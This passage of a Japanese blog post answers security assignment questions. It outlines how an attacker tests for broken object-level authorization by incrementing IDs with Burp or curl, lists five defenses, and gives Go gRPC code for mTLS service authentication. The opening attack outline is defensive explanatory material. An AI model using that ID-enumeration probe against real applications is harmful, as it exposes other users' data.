次にそのソースコードを攻撃者自身のローカル環境に落とし込んだり、実際に運用されているwebアプリケーションを動かしたりします。そこでブラウザのDevToolsやBurpSuiteなどで、アプリケーション内でどのようにリクエストが実行されているのかなどのトラフィックを観察します。その後BurpのRepeaterやcurlコマンドでリクエストを送ることで、自身のトークンをつけたままIDをインクリメントして200番のステータスコードが返ってくるかを検証します。そこでのレスポンスを分析し、正規リクエストとの差分やスキーマの差分を把握し、JSON形式が取得できるかどうかを確認して、BOLAが成立するかどうかを検証します。これが私の考えた調査プロセスになります。

これを防ぐために、私は開発者が主に5つの防御策を講じればよいと思います。
 1つ目はすべてのデータ取得において所有者チェックを厳格に行うことです。コントローラ層でidの一致、不一致を必ず判定するようにします。

2つ目は機能横断ミドルウェアで一元管理を行うことです。JavaScriptであればNestJSを使用して集中制御するなど、複数のアプリケーションやシステム間で共有される認証、セキュリティ、トランザクション管理などの機能を一括で管理できるようにすれば、個々のリクエストで起こりうる脆弱な設定を防ぐことができると思います。

3つ目は、権限付与を最小限に行う設計にすることです。管理者のみが他人のIDを渡せるといった処理にすることによって、一般ユーザーからのリクエストからはデータのアクセスを不可能にでき、IDの確認の不備が起きないようにすることができます。

4つ目はコードを書きあげたうえでセキュリティテストと監査ログを行うことです。CI/CDにBOLAのルールを組み込み、PRごとに検出することで本番環境への脆弱な設定のデプロイを防ぎ、アプリ側ではID 不一致アクセスを403で拒否し、SIEMで監視することによって不正なリクエストを阻止することができます。

5つ目はレート制限とエラーメッセージを最小化することです。連番総当たりを抑止し、403/404で同一のエラーを返すことで、エラーメッセージからどのようなアーキテクチャを持っているのかを推測されるのを防ぐことができます。

(2)マイクロサービスアーキテクチャでは、サービス間通信を安全に行うためのセキュリティ対策が必要です。マイクロサービス間のAPI通信におけるセキュリティ課題を1つ挙げ、それを解決するための手法を説明してください。

マイクロサービス間通信におけるセキュリティ課題として、マイクロサービス間において内部ネットワークだから安全であるという誤った認識によって認証がない実装がされてしまう可能性があることを上げます。認識が誤ったままだと、マイクロサービスが同一クラスタ内でHTTPを平文通信し、呼び出し元サービスの真正性を何も検証しない設計になってしまう危険性があると考えます。

例として在庫検索サービスについて考えると、もし1つの Podが侵害されると攻撃者は横展開が可能になり、在庫サービスを装って注文サービスに不正リクエストを送り、在庫改ざんや個人情報流出が起こる恐れがあります。

そこで私は対策としてmTLSとサービスIDでの認証/認可を行うことを提案します。各サービスに証明書を配布することで通信を常にTLS化します。サーバー側はクライアント証明書の Common Name/SPIFFE IDを検証し、許可リストに合致する場合のみ処理を実行するように実装します。その後RBAC ポリシーで「どのサービスがどのエンドポイントを呼べるか」を中央管理できることで対策できると考えました。

考えた対策を具体化させるために、GoとgRPC で在庫サービスから注文サービスを呼ぶ際、サーバー側でクライアント証明書を検証する最小実装をchatgptとともに行ってみました。
main.go

package main

import (
    "context"
    "crypto/tls"
    "crypto/x509"
    "io/ioutil"
    "log"
    "net"

    pb "github.com/example/order/proto"
    "google.golang.org/grpc"
    "google.golang.org/grpc/credentials"
    "google.golang.org/grpc/peer"
    "google.golang.org/grpc/codes"
    "google.golang.org/grpc/status"
)

const allowedClientID = "spiffe://mycompany.local/ns/default/sa/inventory"

type server struct {
    pb.UnimplementedOrderServiceServer
}

func (s *server) CreateOrder(ctx context.Context, req *pb.CreateOrderRequest) (*pb.Order, error) {
    // クライアント証明書から SPIFFE ID を取得
    p, ok := peer.FromContext(ctx)
    if !ok {
        return nil, status.Error(codes.Unauthenticated, "no peer info")
    }
    tlsInfo := p.AuthInfo.(credentials.TLSInfo)
    if len(tlsInfo.State.PeerCertificates) == 0 || len(tlsInfo.State.PeerCertificates[0].URIs) == 0 {
        return nil, status.Error(codes.Unauthenticated, "no client certificate URI")
    }
    subj := tlsInfo.State.PeerCertificates[0].URIs[0].String()

    if subj != allowedClientID {
        return nil, status.Error(codes.PermissionDenied, "forbidden service")
    }

    // ビジネスロジック(例として固定レスポンス)
    return &pb.Order{Id: "ord-123"}, nil
}

func main() {
    caCert, err := ioutil.ReadFile("/certs/ca.pem")
    if err != nil {
        log.Fatalf("read ca: %v", err)
    }
    caPool := x509.NewCertPool()
    caPool.AppendCertsFromPEM(caCert)

    srvCert, err := tls.LoadX509KeyPair("/certs/server.pem", "/certs/server.key")
    if err != nil {
        log.Fatalf("load keypair: %v", err)
    }

    creds := credentials.NewTLS(&tls.Config{
        Certificates: []tls.Certificate{srvCert},
        ClientCAs:    caPool,
        ClientAuth:   tls.RequireAndVerifyClientCert,
    })

    lis, err := net.Listen("tcp", ":50051")
    if err != nil {
        log.Fatalf("listen: %v", err)
    }
    grpcServer := grpc.NewServer(grpc.Creds(creds))
    pb.RegisterOrderServiceServer(grpcServer, &server{})
    log.Println("order-service listening on :50051")
    log.Fatal(grpcServer.Serve(lis))
}

call_order.go

package main

import (
    "context"
    "crypto/tls"
    "crypto/x509"
    "io/ioutil"
    "log"
    "time"

    pb "github.com/example/order/proto"
    "google.golang.org/grpc"
    "google.golang.org/grpc/credentials"
)

func loadTLSCreds() (credentials.TransportCredentials, error) {
    // クライアント証明書
    clientCert, err := tls.LoadX509KeyPair("/certs/client.pem", "/certs/client.key")
    if err != nil {
        return nil, err
    }

    // サーバー CA
    caCert, err := ioutil.ReadFile("/certs/ca.pem")
    if err != nil {
        return nil, err
    }
    caPool := x509.NewCertPool()
    caPool.AppendCertsFromPEM(caCert)

    config := &tls.Config{
        Certificates: []tls.Certificate{clientCert},
        RootCAs:      caPool,
    }
    return credentials.NewTLS(config), nil
}

func main() {
    creds, err := loadTLSCreds()
    if err != nil {
        log.Fatalf("failed to load creds: %v", err)
    }

    conn, err := grpc.Dial("order-service.default.svc.cluster.local:50051",
        grpc.WithTransportCredentials(creds))
    if err != nil {
        log.Fatalf("dial: %v", err)
    }
    defer conn.Close()

    client := pb.NewOrderServiceClient(conn)
    ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
    defer cancel()

    resp, err := client.CreateOrder(ctx, &pb.CreateOrderRequest{})
    if err != nil {
        log.Fatalf("CreateOrder: %v", err)
    }
    log.Printf("Order created: %s\n", resp.Id)
}

main.goでクライアント証明書 URI を取り出し、spiffe://mycompany.local/ns/default/sa/inventory 以外を拒否しています。call_order.goでクライアント側で自身の証明書を提示し、mTLS で注文を作成しています。証明書の発行・配置には SPIRE などの自動証明書管理基盤を併用することを想定しています。

この課題を解答するにあたって参考にさせていただいた記事・ブログ

※Q.6(3)、Q.6(4)は時間の都合上、書ききることができませんでした。

まとめ

ここまで読んでいただきありがとうございました。

Discussion